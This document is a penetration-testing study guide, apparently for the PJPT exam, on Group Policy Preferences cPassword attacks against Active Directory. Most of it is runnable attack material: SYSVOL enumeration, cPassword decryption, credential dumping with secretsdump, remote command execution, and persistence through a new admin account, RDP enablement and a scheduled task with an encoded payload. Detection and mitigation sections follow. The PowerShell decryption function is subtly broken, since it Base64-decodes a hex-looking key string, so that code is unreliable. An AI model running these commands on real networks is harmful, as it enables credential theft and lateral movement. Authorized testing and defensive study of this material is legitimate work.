GPP/cPassword Attacks
Overview
Group Policy Preferences (GPP) attacks exploit a critical vulnerability where Microsoft accidentally released the encryption key used to protect passwords stored in Group Policy XML files. This allows attackers to decrypt stored credentials and gain access to privileged accounts.
Background
What are Group Policy Preferences?
GPP: Feature that allowed administrators to create policies using embedded credentials
Purpose: Automate password changes, local account management, drive mappings, etc.
Problem: Credentials were encrypted and placed in a "cPassword" field
Critical Flaw: The encryption key was accidentally released by Microsoft
The cPassword Vulnerability
Vulnerability: Microsoft published the AES encryption key in MSDN documentation
Impact: Anyone can decrypt cPassword values found in Group Policy files
Patch: Fixed in MS14-025 (May 2014) - prevents creation of new cPassword entries
Reality: Patch doesn't remove existing GPP files from SYSVOL
Status: STILL RELEVANT ON PENTESTS - old files persist in domain environments
GPP File Structure
Common GPP Files in SYSVOL
# Located in: \\domain.com\SYSVOL\domain.com\Policies\{GUID}\
Groups.xml # Local group modifications
Services.xml # Service account passwords
Scheduledtasks.xml # Scheduled task credentials
Datasources.xml # Database connection strings
Drives.xml # Drive mapping credentials
Printers.xml # Printer deployment credentialsExample Groups.xml Structure
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="new_local_admin"
image="2"
changed="2016-07-12 07:04:23"
uid="{06FD4385-7388-4B32-BFF0-64F04EB01B22}">
<Properties action="U"
newName=""
fullName=""
description=""
cpassword="Ju9qmLzQeH61Nrqk/bbEB1CfOFVqOIGOUevB4wAvOng"
changeLogon="0"
noChange="0"
neverExpires="0"
acctDisabled="0"
subAuthority=""
userName="new_local_admin"/>
</User>
</Groups>Key Fields in GPP Files
TYPE
GPP file type
Groups.xml
USERNAME
Account username
new_local_admin
PASSWORD
Encrypted password (cPassword)
Ju9qmLzQeH61Nrqk/bbEB1CfOFVqOIGOUevB4wAvOng
DOMAIN CONTROLLER
DC IP/hostname
10.x.x.x
DOMAIN
Domain name
penlab.lcl
CHANGED
Last modification
2016-07-12 07:04:23
NEVER_EXPIRES?
Password expiry setting
1 (never expires)
DISABLED
Account status
0 (enabled)
Enumeration Techniques
Method 1: Metasploit smb_enum_gpp
# Using Metasploit auxiliary module
msf6 > use auxiliary/scanner/smb/smb_enum_gpp
msf6 auxiliary(smb_enum_gpp) > set RHOSTS 192.168.2.50
msf6 auxiliary(smb_enum_gpp) > set SMBDomain penlab.lcl
msf6 auxiliary(smb_enum_gpp) > set SMBUser username
msf6 auxiliary(smb_enum_gpp) > set SMBPass password
msf6 auxiliary(smb_enum_gpp) > run
# Expected output:
[+] 192.168.2.50:445 - Group Policy Credential Info
=======================================
Name Value
---- -----
TYPE Groups.xml
USERNAME new_local_admin
PASSWORD $uP3r5ekr1tpass
DOMAIN CONTROLLER 192.168.2.50
DOMAIN penlab.lcl
CHANGED 2016-07-12 07:04:23
NEVER_EXPIRES? 0
DISABLED 0
[+] 192.168.2.50:445 - XML file saved to: /opt/metasploit/apps/pro/loot/20160712000840_default_192.168.2.50_windows.gpp_file_700506.xml
[+] 192.168.2.50:445 - Groups.xml saved as: /opt/metasploit/apps/pro/loot/20160712000840_default_192.168.2.50_smb_shares_file_700506.xml
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedMethod 2: Manual SYSVOL Enumeration
# Mount SYSVOL share
smbclient //domain.com/SYSVOL -U username%password
# Navigate to policies directory
cd domain.com/Policies/
# List all policy GUIDs
dir
# Search for GPP files recursively
find . -name "*.xml" -type f
# Download GPP files for analysis
get {GUID}/Machine/Preferences/Groups/Groups.xml
get {GUID}/User/Preferences/Groups/Groups.xmlMethod 3: PowerShell Enumeration
# PowerShell script to find GPP files
Get-ChildItem -Path "\\domain.com\SYSVOL\domain.com\Policies\" -Recurse -Include "*.xml" |
Where-Object { $_.Name -match "(Groups|Services|Scheduledtasks|DataSources|Drives|Printers)" } |
ForEach-Object {
$content = Get-Content $_.FullName
if ($content -match "cpassword=") {
Write-Host "[+] Found cPassword in: $($_.FullName)" -ForegroundColor Green
$content | Select-String "cpassword="
}
}Method 4: Linux Command Line Tools
# Using smbclient and find
smbclient //domain.com/SYSVOL -U username%password -c "prompt OFF; recurse ON; mget *"
# Search for XML files containing cpassword
find . -name "*.xml" -exec grep -l "cpassword" {} \;
# Extract cpassword values
grep -r "cpassword=" . --include="*.xml" | cut -d'"' -f4Manual Decryption
Using gpp-decrypt
# Decrypt cPassword manually using gpp-decrypt
gpp-decrypt Ju9qmLzQeH61Nrqk/bbEB1CfOFVqOIGOUevB4wAvOng
# Output: $uP3r5ekr1tpass
# Decrypt multiple passwords from file
echo "Ju9qmLzQeH61Nrqk/bbEB1CfOFVqOIGOUevB4wAvOng" | gpp-decrypt
echo "otherEncryptedPassword" | gpp-decryptPowerShell Decryption Script
# PowerShell function to decrypt cPassword
function Decrypt-GPPPassword {
param([string]$cpassword)
# AES key released by Microsoft
$key = [System.Convert]::FromBase64String("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
# Base64 decode the cpassword
$encPassword = [System.Convert]::FromBase64String($cpassword)
# Decrypt using AES
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
$aes.Key = $key
$aes.IV = New-Object Byte[] 16
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$decryptor = $aes.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($encPassword, 0, $encPassword.Length)
return [System.Text.Encoding]::Unicode.GetString($decryptedBytes).TrimEnd([char]0)
}
# Usage
Decrypt-GPPPassword "Ju9qmLzQeH61Nrqk/bbEB1CfOFVqOIGOUevB4wAvOng"
# Output: $uP3r5ekr1tpassAttack Scenarios
Scenario 1: Domain Enumeration via GPP
# 1. Gain initial domain access (any domain user account)
# Example: low-privilege user from password spraying
# 2. Mount SYSVOL share to search for GPP files
smbclient //dc.domain.com/SYSVOL -U domain/user%password
# 3. Find and download GPP files
find . -name "Groups.xml" -o -name "Services.xml" -o -name "ScheduledTasks.xml"
get Policies/{GUID}/Machine/Preferences/Groups/Groups.xml
# 4. Extract cpassword values
grep "cpassword=" Groups.xml
# 5. Decrypt passwords
gpp-decrypt "encryptedPasswordString"
# Result: Local admin credentials for multiple systems
# Username: new_local_admin
# Password: $uP3r5ekr1tpassScenario 2: Automated Discovery with Metasploit
# 1. Use compromised domain credentials
# Example: user:password from previous attack
# 2. Run Metasploit GPP enumeration
msf6 > use auxiliary/scanner/smb/smb_enum_gpp
msf6 auxiliary(smb_enum_gpp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_enum_gpp) > set SMBDomain company.local
msf6 auxiliary(smb_enum_gpp) > set SMBUser compromised_user
msf6 auxiliary(smb_enum_gpp) > set SMBPass password123
msf6 auxiliary(smb_enum_gpp) > run
# 3. Metasploit automatically:
# - Connects to SYSVOL shares on all DCs
# - Downloads and parses GPP files
# - Decrypts cpassword values
# - Presents cleartext credentials
# 4. Use discovered credentials for lateral movement
# Example: service account with admin rights on multiple serversScenario 3: Service Account Discovery
# Services.xml often contains service account passwords
# 1. Look for Services.xml files in SYSVOL
find /mnt/sysvol -name "Services.xml"
# 2. Extract service account credentials
grep -A5 -B5 "cpassword=" Services.xml
# Example Services.xml content:
# <Service clsid="{...}" name="MyService" image="2" changed="2016-01-15 10:30:00">
# <Properties startupType="Automatic"
# serviceName="MyService"
# accountName="DOMAIN\svc_service"
# cpassword="encryptedServicePassword"/>
# </Service>
# 3. Decrypt service account password
gpp-decrypt "encryptedServicePassword"
# Result: Often reveals highly privileged service accountsPost-Exploitation
Using Discovered Credentials
# Test credential validity across domain
crackmapexec smb 192.168.1.0/24 -u new_local_admin -p '$uP3r5ekr1tpass' --local-auth
# Check for admin rights
crackmapexec smb 192.168.1.0/24 -u new_local_admin -p '$uP3r5ekr1tpass' --local-auth --pwn3d
# Execute commands on compromised systems
crackmapexec smb 192.168.1.50 -u new_local_admin -p '$uP3r5ekr1tpass' --local-auth -x "whoami"
# Dump local credentials
secretsdump.py new_local_admin:'$uP3r5ekr1tpass'@192.168.1.50Persistence and Lateral Movement
# Use GPP credentials to establish persistence
# 1. Create new local admin accounts
net user backup_admin P@ssw0rd123 /add
net localgroup administrators backup_admin /add
# 2. Enable RDP access
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 3. Create scheduled tasks for persistence
schtasks /create /tn "System Backup" /tr "powershell.exe -enc <base64_payload>" /sc daily /st 02:00 /ru new_local_admin /rp '$uP3r5ekr1tpass'Detection and Forensics
Finding GPP Activity
# Event logs to monitor:
# - Event ID 4648: Explicit credential logon (GPP account usage)
# - Event ID 5140: Network share accessed (SYSVOL access)
# - Event ID 4624: Successful logon (GPP account logons)
# PowerShell detection script
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=5140} |
Where-Object {$_.Message -match "SYSVOL"} |
ForEach-Object {
Write-Host "SYSVOL Access: $($_.TimeCreated) - User: $($_.Properties[1].Value)" -ForegroundColor Yellow
}SYSVOL Monitoring
# Monitor SYSVOL for unauthorized access
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\Windows\SYSVOL\domain\Policies\"
$watcher.Filter = "*.xml"
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $true
Register-ObjectEvent -InputObject $watcher -EventName Opened -Action {
$path = $Event.SourceEventArgs.FullPath
Write-Host "GPP file accessed: $path at $(Get-Date)" -ForegroundColor Red
}Mitigation Strategies
Technical Mitigations
# 1. Apply patch KB2962486 (prevents new cPassword creation)
# Note: This is included in modern Windows versions by default
# 2. Remove existing GPP files from SYSVOL (CRITICAL!)
# Search for files containing cpassword
Get-ChildItem -Path "C:\Windows\SYSVOL\" -Recurse -Include "*.xml" |
ForEach-Object {
$content = Get-Content $_.FullName
if ($content -match "cpassword=") {
Write-Host "Found cPassword in: $($_.FullName)" -ForegroundColor Red
# BACKUP THEN DELETE these files!
}
}
# 3. Audit Group Policy management
# - Review who has GP creation/modification rights
# - Implement approval process for new Group Policies
# - Use LAPS for local administrator password managementAdministrative Controls
# 1. Implement LAPS (Local Administrator Password Solution)
# - Automatically manages local admin passwords
# - Stores passwords in AD with ACL protection
# - Eliminates need for GPP password management
# 2. Use Group Managed Service Accounts (gMSA)
# - Automatic password management for service accounts
# - No need to store service passwords in GPP
# 3. Regular SYSVOL auditing
# - Quarterly scans for remaining GPP files
# - Automated monitoring for new cpassword entries
# - Document and remediate any findingsNetwork Monitoring
# Monitor for suspicious SYSVOL access patterns:
# - Multiple XML file downloads from SYSVOL
# - Access to SYSVOL from non-admin accounts
# - Automated tools accessing policy directories
# SIEM detection rules:
# - Event ID 5140 with ShareName=SYSVOL from unexpected sources
# - Multiple GPP file access within short timeframe
# - gpp-decrypt tool usage (process monitoring)PJPT Exam Tips
For the PJPT Exam
GPP attacks are high-yield targets
Easy to execute with basic domain access
Often reveals privileged credentials
Excellent for lateral movement
Use Metasploit for efficiency:
use auxiliary/scanner/smb/smb_enum_gpp set RHOSTS [DC_IP] set SMBDomain [DOMAIN] set SMBUser [USERNAME] set SMBPass [PASSWORD] runManual verification is valuable:
smbclient //dc.domain.com/SYSVOL -U user%pass find . -name "*.xml" -exec grep -l "cpassword" {} \; gpp-decrypt [cpassword_value]Common GPP credential patterns:
Local administrator accounts
Service account passwords
Scheduled task credentials
Database connection strings
Post-exploitation priorities:
Test credentials across all domain systems
Look for admin rights on multiple machines
Use for lateral movement and persistence
Document credential scope and privileges
Key documentation points:
Show GPP file discovery method
Include original cpassword and decrypted result
Document credential testing and scope
Explain impact and lateral movement potential
Note: Always ensure proper authorization before conducting GPP attacks. These techniques should only be used in authorized penetration testing scenarios or controlled lab environments. Remember that while the vulnerability is "patched," legacy GPP files often remain in production environments, making this attack vector still highly relevant.
Last updated